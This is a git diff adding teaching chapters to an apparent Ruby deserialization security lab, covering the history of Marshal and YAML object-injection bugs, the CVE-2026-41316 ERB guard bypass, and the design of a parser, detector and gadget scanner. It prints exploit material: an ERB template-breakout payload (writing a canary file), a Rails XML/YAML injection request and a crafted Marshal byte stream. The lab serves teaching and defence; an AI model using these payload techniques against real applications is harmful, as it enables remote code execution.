`weights_only`, no `allowed_classes`, and no `.NET 9` moment.** Psych got a safe default in Ruby 3.1. `Marshal` got a documentation warning. That is the reason this lab exists and the reason it targets Marshal specifically. + +## The worked example: CVE-2026-41316 + +Four months old at the time of writing, and the cleanest teaching case available because the patch is three lines and you can read all of it. + +- **Advisory**: [ruby-lang.org, 2026-04-21](https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316/). GHSA-q339-8rmv-2mhv. NVD published 2026-04-23. +- **CVSS v3.1 8.1.** **CWE-502 and CWE-693 (Protection Mechanism Failure).** The dual mapping is the story. +- **Affected**: erb `< 4.0.3.1`, `= 4.0.4`, `>= 5.0.0 < 6.0.1.1`, `>= 6.0.2 < 6.0.4`. **Patched**: 4.0.3.1, 4.0.4.1, 6.0.1.1, 6.0.4. +- **Credit**: TristanInSec. +- **Precondition, quoted from the advisory:** + > "Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution." + +Three databases give three different dates for it (rubysec 2026-04-13, ruby-lang 2026-04-21, NVD 2026-04-23), and NVD assigns CWE-502 plus CWE-693 while the GHSA page lists only CWE-693. Cite the one you actually pulled. + +**The mechanism.** Ruby 2.7.0 added an `@_init` instance-variable guard so that an ERB object reconstructed through `Marshal.load` would refuse to evaluate its template. `ERB#result` and `ERB#run` check it. `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` evaluated the template source **without** checking it. + +Reading the shipped source in a pinned container makes it concrete. In erb 4.0.4.1, a patched version, the assignment and the checks look like this: + +``` +in def initialize(...) | @_init = self.class.singleton_class +in def result(b=...) | unless @_init.equal?(self.class.singleton_class) +in def def_method(mod,..) | unless @_init.equal?(self.class.singleton_class) +``` + +And the reason one added check fixes all three methods, read from the patched source: + +```ruby +def def_module(methodname='erb') + mod = Module.new + def_method(mod, methodname, @filename || '(ERB)') + mod +end + +def def_class(superklass=Object, methodname='result') + cls = Class.new(superklass) + def_method(cls, methodname, @filename || '(ERB)') + cls +end +``` + +`def_module` and `def_class` both delegate to `def_method`, so guarding `def_method` closes the whole family. That is what "fix the guard, not the symptom" looks like as a diff. + +**The exploit primitive**, which explains why these three methods were *exploitable* rather than merely unguarded. `def_method` wraps the template source in a generated `def ... end`. An attacker who controls `@src` prefixes it with `end\n`, closing the generated wrapper early, so the injected code runs at `module_eval` time, during definition, rather than waiting for anyone to call the method. This lab builds exactly that, and you can print it: + +```ruby +Marshalsea::Chains::ErbDefMethod.canary("/tmp/canary", "pwned").src +# => "#\nend\nFile.write(\"/tmp/canary\", \"pwned\")\ndef _marshalsea_unused\n" +``` + +`ERB#def_method` does not simply prepend the wrapper. Its actual line, read from the shipped source, is: + +```ruby +src = self.src.sub(/^(?!#|$)/) { "def #{methodname}\n" } << "\nend\n" +``` + +It inserts `def ` before the **first line that is neither a comment nor blank**. That regex exists because a genuinely compiled ERB template starts with a magic encoding comment, which has to stay on line one: + +```ruby +ERB.new("hello <%= 1 %>").src +# => "#coding:UTF-8\n_erbout = +''; _erbout.<< \"hello \".freeze; ..." +``` + +So the payload's leading `#` is impersonating that magic comment, which pushes the insertion point down onto the `end`. Running the same substitution on the payload produces exactly this: + +```ruby +# # the fake magic comment, so the `sub` skips line 1 +def render_it # the wrapper lands HERE, on the `end` line +end # and closes immediately: an empty method +File.write("/tmp/canary", "pwned") # now at module_eval top level, runs during eval +def _marshalsea_unused # a second empty method, which eats the + # wrapper's own appended "\nend\n" +end +``` + +Verified by executing it: the payload fires during `eval`, and both `render_it` and `_marshalsea_unused` are defined as empty methods afterward. + +``` +fired during eval: [:RAN_AT_EVAL_TIME] +methods defined: [:_marshalsea_unused, :render_it] +``` + +That is the entire trick. Nothing waits for anyone to call `render_it`. + +**`def_module` takes no arguments**, which is what makes it reachable from a gadget chain rather than only from cooperating application code, and it is why this lab ships two payloads with different labels: + +| Payload | Kind | Enters through | Fires when | Needs | +|---|---|---|---|---| +| `erb-def-module` | **chain** | ungated `#hash` on a hash key | inside `Marshal.load`, no application call | activesupport loaded in the target | +| `erb-def-method` | **primitive** | the `@_init` guard bypass | only when the application calls `def_method` | nothing | + +Calling the second one a "chain" would be a lie, and the distinction teaches something real: the dangerous call site can live in *your* code. The lab's target application calls `template.def_method(...)` if the deserialized object responds to it, which is a plausible thing for a template-caching layer to do and is exactly the cooperation the primitive needs. + +**Why CWE-693 matters pedagogically.** A mitigation existed, was deliberate, was six years old, and covered two of five entry points. Partial guards read as safety and they audit as safety. This is the strongest available argument for the position that allowlisting individual sinks is a losing game. + +The lab's exploit gate proves both halves by pulling two real images one version apart: the chain fires on the vulnerable one and is blocked on the patched one, with the boundary asserted in both directions. + +## What actually happened in Ruby + +Short version, all traced to primary sources. + +**CVE-2013-0156, the one that made the Ruby world care.** Rails' XML parameter parser let a request declare the *type* of a parameter, and the supported list included `yaml` and `symbol`. So a request body could instruct the framework to hand attacker-controlled bytes to the unsafe YAML parser, before any application code ran, on **every** controller: + +```xml + +--- !ruby/object:Time {} + +``` + +Five lines, and it contains the entire vulnerability class. The upstream advisory's workaround deletes `"symbol"` and `"yaml"` from `ActiveSupport::XmlMini::PARSING`, and it is blunt about the rest: + +> "there is no fix for YAML object injection" + +**rubygems.org was compromised on 2013-01-30** using this class of flaw, and it is documented by the maintainers themselves. RubyGems.org called `YAML.load` on the `metadata.gz` of uploaded gems, so an attacker uploaded a gem whose metadata instantiated objects and exfiltrated config files. Per [the maintainers' own writeup](https://blog.rubygems.org/2013/01/31/data-verification.html), **no API keys were actually exposed**, because the service ran on Heroku and kept secrets in `ENV` rather than in config files. An accident of deployment style, not a control. Response took roughly 53 hours and included re-verifying SHA512 checksums for every gem against community mirrors. + +Note the vector: not an HTTP request into a Rails app, but **gem metadata processing**. Same sink, different door. There is no dollar figure and there does not need to be one. The cost was ecosystem-wide trust. + +**The key-management pair, thirteen years apart, and they belong together.** + +- **CVE-2019-5420** (Rails, CVSS 9.8): in development mode Rails derived `secret_key_base` from the application's own name, which an attacker could recover by requesting an invalid route. With the key, mint a correctly signed payload and get RCE. **NVD assigns CWE-330 and CWE-77, not CWE-502.** The root cause was a predictable secret; deserialization was merely the payload. The fix was key generation, not a serializer change. +- **CVE-2026-39324** (rack-session, CVSS 9.3): the key was fine, and the *failure path* fell open. Quoting NVD: "If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie." Fail-open beat the cryptography. + +Together they make the case that "sign and encrypt the payload" is necessary and demonstrably not sufficient: what your code does when verification **fails** is part of the control. (Rails applications are explicitly *not* affected by the rack-session one. It uses a different code path. Getting that wrong would misinform every Rails reader.) + +**CVE-2022-32224, the modern shape.** Active Record's `serialize :options` defaulted to YAML and deserialized with `YAML.unsafe_load`. An attacker who can write to the database, typically via SQL injection, escalates to RCE when the row is read back. Two things make it the best modern teaching case. It is a **second-order sink**: the untrusted data arrives from your own database, so any threat model drawing the trust boundary at the HTTP edge misses it entirely. And **the fix shipped an opt-out**, `use_yaml_unsafe_load`, because safe-by-default broke real applications. That tension between a safe default and a compatibility escape hatch that quietly restores the vulnerability is the single most transferable idea here, and it recurs in Psych 4, PyTorch 2.6, and Rails' cookie serializer. + +**Two negatives worth more than most of the positives.** + +The two most significant pieces of Ruby deserialization research in recent years **received no CVE at all**. Luke Jahnke's [Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html) (2024-12-03) and his Ruby 3.4 universal gadget chain (2024-11-24) were both fixed as ordinary RubyGems point releases. An NVD keyword search for `SafeMarshal` returns zero results. **A scanner, corpus, or curriculum built on CVE feeds alone will miss the actual state of the art.** Track the RubyGems `### Security:` changelog headings and the primary researchers' writeups instead. + +And: **no Ruby or Rails deserialization CVE appears in the CISA KEV catalog**, verified programmatically against all 1,653 entries. The only Rails entries in KEV are path traversals. Ruby deserialization is a rich research area with **no CISA-confirmed mass-exploitation event**. There is documented commodity-botnet exploitation of CVE-2013-0156 and one documented ecosystem compromise. That is a real but much smaller claim than the one usually made, and saying it plainly is the fastest way to keep a knowledgeable reader. + +## Everyone else got it too + +**Java, 2015.** The technique landed at OWASP AppSec California on 2015-01-28, in Chris Frohoff and Gabriel Lawrence's "Marshalling Pickles: How Deserializing Objects Will Ruin Your Day," which covered Python `pickle`, Ruby `Marshal`, PHP serialization, and Java **together** and introduced ysoserial. Ruby was in the original talk; this project is not a footnote to the Java story, it is part of the same disclosure. + +The era exploded ten months later, and not because of the talk. [Foxglove Security's post](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) on 2015-11-06 weaponized it against named enterprise products and shamed the vendors in public: + +> "Even though proof of concept code was released OVER 9 MONTHS AGO, none of the products mentioned in the title of this post have been patched, along with many more." + +Oracle's security alert landed four days later. That is a useful thing to understand about how disclosure actually moves vendors. + +Java's structural answer was **JEP 290**, "Filter Incoming Serialization Data," created 2016-04-22 and delivered in Java 9. The critical caveat: **a serialization filter is not enabled or configured by default.** Nine years after ysoserial, the Java default is still unfiltered. + +**.NET** went furthest. Microsoft's guidance is the most unambiguous vendor statement on this class anywhere: "**`BinaryFormatter` is insecure and can't be made secure.**" Their analogy is worth stealing: "assume that calling `BinaryFormatter.Deserialize` over a payload is the equivalent of interpreting that payload as a standalone executable and launching it." Starting in .NET 9 the in-box implementation throws on use. + +**PHP** has the densest gadget space of any of them, because `__wakeup`, `__destruct`, and `__toString` give far more reachable magic methods than Java's single `readObject`. Roughly tens of chains for Java, and roughly **170 chains across 44 frameworks** for phpggc. (The 44 framework directories were counted twice and agree. The 170 came from a single count, so treat it as approximate; the comparison holds either way.) The best in-the-wild case is CVE-2015-8562 (Joomla), where the payload arrives in a **User-Agent header**, which makes the "untrusted input is everywhere, not just the request body" point better than any diagram. Sucuri documented the curve: first exploit 2015-12-12, and by 12-14 "basically every site and honeypot we have being attacked." + +The single best idea to steal from PHP is Sam Thomas's `phar://` work (Black Hat USA 2018). Phar archive metadata is deserialized by **ordinary file operations**: `fopen`, `file_exists`, `file_get_contents`, `filesize`. An application can suffer deserialization **with no `unserialize()` call anywhere in its code**. That is the strongest available argument against the mental model "grep for the dangerous function and you have found the attack surface." The transferable lesson for Ruby readers: **the audit question is not "where do we call `Marshal.load`" but "what reaches a deserializer."** + +**Python** supplies the best argument that denylist scanning loses. `picklescan`, the scanner the ML ecosystem relies on, has accumulated **26+ CVEs of its own** between 2025-02 and 2026-06: + +| CVE | CVSS | The bypass | +|---|---|---| +| CVE-2025-1716 | 9.8 | `pip` was not on the unsafe-globals list; `pip.main()` pulls a malicious package | +| CVE-2025-1889 | 9.8 | Non-standard file extensions fall outside scan scope | +| CVE-2025-1945 | 9.8 | Flipping bits in ZIP headers hides the pickle from the scanner while `torch.load()` still loads it | +| CVE-2025-10156 | 9.8 | A deliberately bad CRC halts the scanner | +| CVE-2025-71350 | 8.1 | `torch.utils.collect_env.run` was not blocked | + +Twenty-six CVEs, each one "we forgot about *this* callable." And it is not one bad tool: Trail of Bits' `fickling` has the identical failure in CVE-2026-22608, chainable to RCE **while the tool reports the file as safe**. + +Note the CWE on both `fickling`'s and picklescan's first: **CWE-184, "Incomplete List of Disallowed Inputs."** MITRE has a dedicated weakness class for "your denylist is missing something," and both of the ecosystem's leading pickle scanners have been assigned it. + +**Denylist scanning of a serialization stream is not losing on execution. It is losing on architecture.** That is the honest counterweight to this project's own scanner, and it is stated in exactly those terms: a gadget-discovery tool tells you what chains exist *today*. It is not a control. + +The one thing that did work, across three ecosystems, was **changing the default.** PyTorch flipped `torch.load`'s `weights_only` to `True` in 2.6.0 (2025-01-29). NumPy flipped `allow_pickle` to `False` in 1.16.3, its release notes saying "in response to CVE-2019-6446." Ruby made `YAML.load` safe in 3.1. All three broke real users' workflows, and that cost is precisely what kept the unsafe default in place for years. A decade of warnings did nothing; changing the default did. + +## Where this class stands, honestly + +**The current OWASP citation is `A08:2025 – Software or Data Integrity Failures`.** Note the exact wording, because the naming has drifted across three editions and getting it wrong is the most likely error anyone makes here: + +| Edition | Number | Exact name | +|---|---|---| +| 2017 | A08:2017 | **Insecure Deserialization** (its own dedicated category) | +| 2021 | A08:2021 | Software **and** Data Integrity Failures | +| **2025** | **A08:2025** | Software **or** Data Integrity Failures | + +Insecure deserialization has not had its own Top 10 category since 2017. It is one of 14 mapped CWEs inside A08, and CWE-502 is explicitly among them. + +**CWE-502** is named "Deserialization of Untrusted Data," has been in the CWE Top 25 every year from 2019 through 2025, and **ranks #15 in the 2025 list** with a score of 5.23, up one place from #16 in 2024. Its neighbours are stack and heap buffer overflows. + +**The KEV numbers**, downloaded and parsed locally rather than asked of a search engine (catalog version 2026.07.24): + +| Measure | Value | +|---|---| +| Total KEV entries | 1,653 | +| Entries mapped to **CWE-502** | **69 (4.17%)** | +| CWE-502 rank among all CWEs in KEV | **7th** | +| CWE-502 entries with known ransomware campaign use | **24 of 69 (34.8%)** | +| Baseline: all KEV entries with known ransomware use | 332 of 1,653 (**20.1%**) | + +Two findings from that worth carrying away. **Deserialization bugs are roughly 1.7x more likely to be used by ransomware crews than the average confirmed-exploited vulnerability.** It is the strongest honest impact claim available for this class, it comes from a government catalog rather than a vendor, and anyone with `curl` can reproduce it. And **the rate is not declining**: 2025 was the highest single year on record, and Microsoft SharePoint alone picked up five CWE-502 KEV entries inside twelve months, one of them ("ToolShell," CVE-2025-53770) with ransomware use confirmed. + +If you see MITRE's CWE page report 11 KEV entries for CWE-502 rather than 69, both are right and they measure different things. The CWE Top 25 methodology analyses the 39,080 CVE records published between 2024-06-01 and 2025-06-01, so its count is scoped to a one-year publication window. The 69 is the all-time count in the live catalog. Quoting them side by side without that note reads as an error. + +**There is no credible aggregate dollar figure for this bug class.** Numbers of that shape circulate. They come from vendor marketing and extrapolations from "average cost of a breach" surveys, and they are not traceable to incident data. A repo laundering a marketing number into an academic-looking citation is worse than having no number. + +## Corrections: things you will read that are wrong + +Every item below is something a confident write-up plausibly asserts, checked against a primary source, and found wrong. This list is the most useful thing in this chapter, because it is a map of where the popular retelling of this vulnerability class fails. + +| The common claim | What the record says | +|---|---| +| **Equifax was a deserialization breach.** | **Wrong.** CVE-2017-5638 is OGNL injection, NVD **CWE-755**, CISA KEV **CWE-20**. The Struts deserialization CVE is CVE-2017-9805, a different bug in a different component, and it was not the Equifax vector. | +| **CVE-2013-0156 is a CWE-502 record.** | **Wrong.** NVD assigns **CWE-20**. So does CVE-2013-3567 (Puppet). Filtering NVD by CWE-502 to enumerate "the deserialization CVEs" silently drops the most famous Ruby one. | +| **CVE-2019-5420 is a deserialization CVE.** | **Misleading.** NVD assigns **CWE-330 and CWE-77**. The root cause is a predictable dev-mode `secret_key_base`. The fix was key generation. | +| **The current OWASP category is "A08:2021 Software and Data Integrity Failures."** | **Stale.** It is **A08:2025 Software *or* Data Integrity Failures.** "Or", not "and". | +| **`YAML.load` is unsafe in Ruby.** | **Version-dependent, and the unqualified claim is now wrong.** Verified by execution: Psych 3.3.2 (Ruby 3.0.7) deserializes arbitrary objects; Psych 4.0.4 (Ruby 3.1.7) and later raise `Psych::DisallowedClass`. **`Marshal.load` reconstructs arbitrary objects on every version tested.** It never got a safe default. | +| **Apache Commons Collections had a CVE.** | **Wrong, and it hides the lesson.** All three identifiers are vendor-scoped: CVE-2015-4852 (Oracle), CVE-2015-7501 (Red Hat), CVE-2015-6420 (Cisco). The library never received one, and the ASF publicly argued it should not. | +| **The 2016 SFMTA / San Francisco Muni ransomware attack was Oracle WebLogic CVE-2015-4852.** | **Unsupported, and contradicted by SFMTA.** Their own statement: "The SFMTA network was not breached from the outside, nor did hackers gain entry through our firewalls." The WebLogic association describes the *attacker's general toolkit across many victims*, not a finding about SFMTA. CISA KEV marks CVE-2015-4852 `knownRansomwareCampaignUse: "Unknown"`. | +| **RDoc CVE-2024-27281 was fixed in 6.3.4 / 6.4.1 / 6.5.1 / 6.6.3.** | **Wrong.** The Ruby advisory states those contain an **incorrect fix**. The correct versions are 6.3.4.1, 6.4.1.1, 6.5.1.1, 6.6.3.1. | +| **CVE-2026-39324 (rack-session) affects Rails.** | **Wrong.** The upstream advisory says Rails is typically not affected; it uses a different code path. | +| **ruby-saml's 2024-2025 CVEs are deserialization bugs.** | **Wrong.** CVE-2024-45409 is CWE-347. CVE-2025-25291 / CVE-2025-25292 are signature wrapping via a parser differential. Serious, critical, widely exploited, and not CWE-502. | +| **Luke Jahnke's Gem::SafeMarshal escape has a CVE.** | **No CVE exists.** Fixed as an ordinary RubyGems point release under a `### Security:` changelog heading. | +| **Equifax's breach cost $1.4 billion "per SEC filings."** | **Unverified as a filed figure.** It traces to earnings-call commentary relayed by press. Defensible: **$113.3M** (FY2017 10-K, verbatim) and **$575M to $700M** (FTC settlement). | + +One method warning falls out of that table and it is worth stating on its own: **filtering a vulnerability corpus by CWE-502 to "find the deserialization CVEs" is a broken method, and it silently drops most of the canon.** CVE-2013-0156 is CWE-20. CVE-2015-8562 (Joomla, mass-exploited) is CWE-20. CVE-2016-4010 (Magento) is CWE-74. CVE-2025-27407 (graphql-ruby) is CWE-94. Older records predate consistent CWE-502 mapping, and CNAs disagree with NVD routinely. The KEV numbers in this chapter use the catalog's own `cwes` field and therefore inherit the same limitation: they are a floor, not a census. + +Finally, a standing hazard. This topic is heavily polluted by content-farm output. One article claiming a Ruby `Oj.load` object-injection RCE uses a **placeholder CVE ID**, has no GHSA, no version range, and names a product that does not exist. If a claim has no primary source, it does not belong in a teaching document. That rule did more work on this topic than on any other in this repo. + +## Where to go next + +[02-ARCHITECTURE.md](./02-ARCHITECTURE.md) turns these ideas into structure: the two readers that share one vocabulary, the three decision states and why there is no `accepted?` predicate, the scanner's gate-plus-format-plus-arity taxonomy, and why the parser and the detector are deliberately allowed to disagree about the same stream. diff --git a/PROJECTS/beginner/deserialization-gadget-lab/learn/02-ARCHITECTURE.md b/PROJECTS/beginner/deserialization-gadget-lab/learn/02-ARCHITECTURE.md new file mode 100644 index 00000000..18fd4511 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/learn/02-ARCHITECTURE.md @@ -0,0 +1,415 @@ + + + +# marshalsea: Architecture + +This chapter is the design. It explains the pieces, the seams between them, and the handful of decisions that look strange until you know what they are protecting against. The code walkthrough is in [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md); this is the map you want open while you read it. + +## The shape + +Two readers, one vocabulary. Nothing in the inspection path ever revives an object. + +``` + Marshal bytes ──> Parser ──> Node graph ──┐ + ├──> BoundaryDetector ──> Decision + YAML document ──> Inspector ──> Document ─┘ (proceed / blocked / observed) + + loaded classes ──> Scanner ──> entry points + links (offense: what is usable) + chain registry ──> generate ──> serialize (offense: build the payload) + Marshal.load ──> LoadGuard (TracePoint :call) (defense: veto before the body) +``` + +The two halves of the library never call each other. The offensive half builds payloads and hunts for gadgets; the defensive half reads bytes and makes decisions. They meet only in the test suite and the gate, where each one's output is the other one's input. That is deliberate: a detector whose author also wrote the payloads will only catch the payloads its author imagined, so the adversarial corpus exists as a third artifact that both halves are measured against. + +## Reader one: the Marshal parser + +`Marshal` is a binary format. Two header bytes for the version, then a tree of tagged values. The parser reads it byte by byte and builds a node graph. It never calls `Marshal.load`, never resolves a class name to a real class, and never allocates anything from the stream except strings and integers. + +The tags it understands, with the ones that matter marked: + +``` + 0 nil T true F false i fixnum l bignum f float + " string : symbol ; symlink @ object link / regexp + [ array { hash } hash+default S struct + I ivar o object e extended C userclass + c class m module M module (old) + u userdef <- SINK, dispatches Klass._load + U usermarshal <- SINK, dispatches obj.marshal_load + d data <- SINK, dispatches Klass._load_data +``` + +Three tags are **sinks**: `u`, `U`, and `d`. Seeing one in a stream is a true statement that loading the stream will dispatch a specific method on a specific class name, before any allowlist proc can run. That is the highest-confidence signal the parser produces, and it is also, importantly, not sufficient. The published CVE chain produces **zero sink tags**, because ERB defines no `marshal_load`. Sink detection alone never catches it. + +### The parser is forensic on purpose + +Here is the design decision that looks wrong at first. + +CRuby refuses a stream where the instance-variable name slot holds something that is not a symbol. It raises and stops. This parser **keeps going**, records the problem as a named anomaly, and returns a complete graph anyway. + +Watch the difference on the same 17 bytes: + +``` +Marshal.load: ArgumentError: dump format error for symbol(0x69) +parser: class_names=["Object"] anomalies=["instance variable name slot holds fixnum, not a symbol"] +detector: blocked: stream is not canonical Marshal: instance variable name slot holds fixnum, not a + symbol, so Marshal.load refuses it and there is nothing here to permit +``` + +Why bother, if `Marshal.load` would refuse it anyway? Because **the goal of the parser is description, not admission control.** If a hostile stream hides a sink in a slot where a symbol belongs, a parser that raises on the first structural surprise reports "malformed" and tells you nothing about what was in there. A parser that keeps going reports the class name, the sink, *and* the anomaly. You get a forensic record instead of an error message. + +The strictness lives one layer up. The detector treats any recorded anomaly as an immediate rejection, and its reason string says precisely why: not "this is dangerous" but "`Marshal.load` refuses this and there is nothing here to permit." Those are different claims and only the second one is true. + +That split is the single most important structural idea in the library. **The parser labels, the detector decides.** It also means the two components are allowed to disagree about the same stream, and that disagreement is a feature. There is a test named `test_sink_in_an_instance_variable_name_position_is_still_reported` that exists to lock it in place, and a proposal to make the parser strict on role slots was rejected specifically because it would delete that test. + +The same instinct shows up in float decoding. A legacy Marshal float carries a mantissa extension after a NUL byte that modern Ruby still reads: + +``` +canonical 1.5: "\x04\bf\b1.5" +legacy stream: value=1.5 undecoded_tail="\x00abcde" fully_decoded=false +Marshal.load: 1.5000000000055356 +``` + +The parser does not guess and it does not pretend. It decodes what it can, labels the rest as an `undecoded_tail`, and answers `fully_decoded?` honestly. A reader that silently returned `1.5` would be claiming agreement with the interpreter that it has not earned. + +### Sealing + +Once parsing finishes, the whole graph is frozen depth-first and the `Result` wrapping it is frozen too. A parse result is an immutable description of bytes that already happened. Nothing downstream, including a caller who gets it back from `Decision#result`, can mutate the record that a policy decision was made from. + +## Reader two: the Psych inspector + +YAML needs no hand-written parser, because Psych already ships one that revives nothing. `Psych.parse_stream` builds an AST of `Psych::Nodes::*` objects and stops. The inspector walks that AST. + +What it extracts is one `Reference` per `!ruby/*` tag, carrying three things: + +``` + !ruby/object:Gem::Version -> class_name: "Gem::Version" + kind: "object" + revival: "init_with" <- what Psych WOULD call + key_position: false +``` + +The mapping from tag kind to revival method is the whole value of the inspector, because it turns "this document mentions a class" into "this document would dispatch `init_with` on that class": + +| Tag kind | Method Psych dispatches | +|---|---| +| `!ruby/object` | `init_with` | +| `!ruby/array`, `!ruby/string`, `!ruby/struct`, `!ruby/exception` | `init_with` | +| `!ruby/hash` | `[]=` | +| `!ruby/marshalable` | `marshal_load` | + +**Aliases are counted, never expanded.** An alias bomb costs nothing to inspect, which is the point: an inspector that expanded aliases in order to report on them would have imported the exact denial-of-service it exists to warn about. The count is bounded and reported instead of ignored, because it still costs whatever the eventual loader spends. + +The inspector's own limitation notice is blunt about where it sits, and it is worth internalizing: + +> "Unlike Marshal, Psych's own allowlist is a real veto: Psych checks the tag before it revives the object, where Marshal runs its proc after the callback has already fired. Same intent, opposite outcome, decided entirely by where the check sits. That means `YAML.safe_load` with `permitted_classes` **is** a boundary and this inspector is only detection and reporting on top of it." + +A detector that positioned itself as a *replacement* for `safe_load` would be selling a downgrade. This one says so in a constant. + +## The decision object + +Three states, mutually exclusive by construction: + +``` + proceed the bytes matched the configured policy + blocked the bytes violated it, and `reason` says which rule and why + observed the bytes violated it, the reporter was called, and the caller + was handed the snapshot anyway (monitoring mode) +``` + +There is no `accepted?` predicate, and its absence is deliberate. Under `observe_and_log`, "did the policy permit this" and "is this stream clean" have **different answers**, and a single predicate named `accepted?` cannot answer both. Callers who write `Marshal.load(d.snapshot) if d.accepted?` would be silently loading everything the monitoring mode reported on. Forcing the caller to name the state they actually mean is worth the extra six characters. + +The state is validated in the constructor against a frozen list, so an invalid state is an `ArgumentError` at construction rather than a predicate that quietly returns false everywhere. + +### The violation ladder + +The detector checks rules in a fixed order and returns the first violation it finds. The order is not arbitrary; it goes from "this is not even loadable" through "this dispatches during load" to "this mentions a class you did not approve": + +``` + 1. role anomaly the parser recorded a malformed slot -> Marshal.load refuses it anyway + 2. sink tag u / U / d -> _load, marshal_load, or _load_data dispatches + 3. hash-dispatching key #hash runs when the Hash is rebuilt + 4. eql?-dispatching key #eql? runs as soon as two keys collide + 5. Range endpoint #<=> runs when Range#marshal_load validates its ends + ────────── deny_sinks_only stops here ────────── + 6. non-canonical version declares a Marshal version no real Ruby emits + 7. unapproved class name strict_allowlist only +``` + +Rules 1 through 5 are statements about **dispatch**: they are true regardless of which classes you trust, which is why they run under every policy including `deny_sinks_only`. Rules 6 and 7 are policy, and only `strict_allowlist` enforces them. + +Rules 3, 4, and 5 exist because of three bypasses that shipped and were found later. All three were accepted under `deny_sinks_only` **and** under strict allowlisting with the class allowlisted, because neither rule was looking at dispatch through key position: + +- A `String`-subclass hash key reaching `#eql?` on bucket collision. +- A gadget nested inside a bare `Array` used as a key. Nineteen bytes: `"\x04\b{\x06[\x06o:\fUngated\x00i\x06"`. +- A `Range` whose endpoints dispatch `#<=>`. + +That is the argument for the ladder being data rather than a chain of ad-hoc conditionals: each rule is a separate, individually testable claim about what the interpreter will do, and the corpus carries a payload for each one. + +### Reason strings are attacker-controlled output + +A reason string quotes a class name, and a class name comes from the stream. That makes every reason string a log-injection surface, so three things happen to it before it is emitted: + +- Names are truncated at 96 bytes with an explicit `[truncated, +N bytes]` marker rather than silently. +- Lists show at most 8 names with an explicit `, and N more`. +- Everything goes through `String#inspect` on binary-forced bytes, so a class name containing a newline cannot forge a log line. + +A detector that pasted an unbounded attacker-controlled string into your logs would have turned a defense into a delivery mechanism. + +## The scanner + +The scanner answers a different question from the detector: not "is this stream dangerous" but "**which classes currently loaded in this process could be used as gadgets.**" + +It walks `ObjectSpace.each_object(Module)`, and for every named module it collects the auto-invoked methods the module defines *itself* (not inherited), then scores each one. + +### The taxonomy is a table, not a list of method names + +This is where the concepts chapter's gated-versus-ungated axis becomes code. Every candidate method carries three facts: + +| Method | Gate | Arity the deserializer supplies | Formats | +|---|---|---|---| +| `marshal_load` | gated | 1 | Marshal, Psych | +| `_load_data` | gated | 1 | Marshal | +| `_load` | gated (singleton) | 1 | Marshal | +| `init_with` | soft | 1 | Psych | +| `hash` | ungated | 0 | Marshal, Psych | +| `eql?` | ungated | 1 | Marshal, Psych | +| `<=>` | ungated | 1 | Marshal | +| `==` | ungated | 1 | Psych | +| `[]=` | ungated | 2 | Psych | +| `method_missing` | ungated | variadic | Marshal, Psych | +| `respond_to_missing?` | ungated | 2 | Marshal, Psych | +| `respond_to?` | ungated | variadic | Psych | +| `to_s` | **link** | 0 | none | +| `coerce` | **link** | 1 | none | + +Three columns and each one earns its place. + +**The gate column** is the axis from [01-CONCEPTS.md](./01-CONCEPTS.md). A gated method needs a truthful `respond_to?`; an ungated one is dispatched blind. + +**The format column** is why entry points are scored per format rather than globally. A method-erased proxy is a valid Psych entry point and an invalid Marshal one, so a single global "is this reachable" answer would be wrong for one of the two. Today's scan finds 29 entry points reachable through Marshal and 33 through Psych, and neither set contains the other. + +**The arity column** is the subtle one. A method named `init_with` that takes three arguments cannot be called by a deserializer that supplies one. Reporting it is a false positive. On a stock image the arity check rejects exactly one candidate, and it is a good one: + +``` +entry points whose arity cannot accept the deserializer's call: 1 + Psych::Visitors::ToRuby#init_with arity=3 needs=1 +``` + +That is Psych's own visitor method, which happens to share a name with the hook it dispatches. Without the arity column it would sit at the top of every scan as a permanent, confusing false positive. + +**The link rows** are the ones with no formats at all. `to_s` is a real step in the published universal chain, but `Marshal` never calls it. It is a method a *gadget* calls once a chain is already moving, not a method a *deserializer* dispatches to start one. Conflating the two is the single largest source of false positives in gadget scanning, so links are collected, counted, and excluded from reachability. Today's scan finds 53 of them alongside 140 entry points. + +### Reachability, and what it deliberately refuses to conclude + +Adding the taxonomy up: + +``` +reachable? = is an entry point (not a link) + AND its arity can accept the deserializer's call + AND ( it is gated or soft-gated <- the tag alone reaches it + OR its body references object state + OR its source could not be read ) <- read that last one twice +``` + +The last clause is the interesting one. To decide whether an ungated method like `#hash` is *interesting*, the scanner parses the method's source with Prism and asks whether the body references an instance variable or makes a receiverless call. A `#hash` that returns a literal is inert; a `#hash` that reads `@name` is a potential pivot. + +But if the source cannot be read, the scanner scores the method **reachable**, not inert. That is the correct direction for a security tool to be wrong in. On a stock image 8 candidates are in that state, and the scan says so. + +### Under-reporting is reported, loudly + +A gadget scanner that silently swallows errors is worse than no scanner, because it produces a short clean list that reads as "nothing to see here." So every swallowed error is counted and attributed to a named site: + +``` +suppressed errors (this scan under-reports): + source_parse 3 + +142 candidates have no Ruby source and were never analysed; the reachability filter does not cover them +``` + +There are five suppression sites and three of them are marked **lossy**, meaning a failure there means a candidate was never even created. `Report#candidates_lost?` is the predicate that distinguishes "this scan is slightly less precise" from "this scan is missing entries entirely," and `complete?` and `fully_analysed?` answer two separate questions rather than one blurred one. + +The headline number from a stock `ruby:4.0-slim` (Ruby 4.0.6), re-measured on 2026-07-31: + +``` +modules=691 candidates=193 entry_points=140 links=53 +gated=11 soft=5 ungated=124 +reachable=43 (28 of them ungated) marshal=29 psych=33 +unanalysable=142 unreadable=8 suppressed=3 +``` + +**Those numbers are not facts about Ruby.** `ObjectSpace` cannot report a class nobody has required yet, so they are a statement about what this specific process had loaded. Requiring `active_support` moves all of them. Re-run it yourself rather than quoting these. + +And the honest framing, stated in the project rather than implied: a gadget-discovery tool tells you what chains exist **today**, in **this** process. It is not a control. + +## The chains + +Three payloads, and the directory is the identity. Each file under `lib/marshalsea/chains/` subclasses `Base`, and `Base.inherited` registers it. There is no central registry file listing chain names, because a registry file is a thing that rots when someone adds a chain and forgets to update it. + +``` + erb-def-method primitive CVE-2026-41316 def_method + erb-def-module 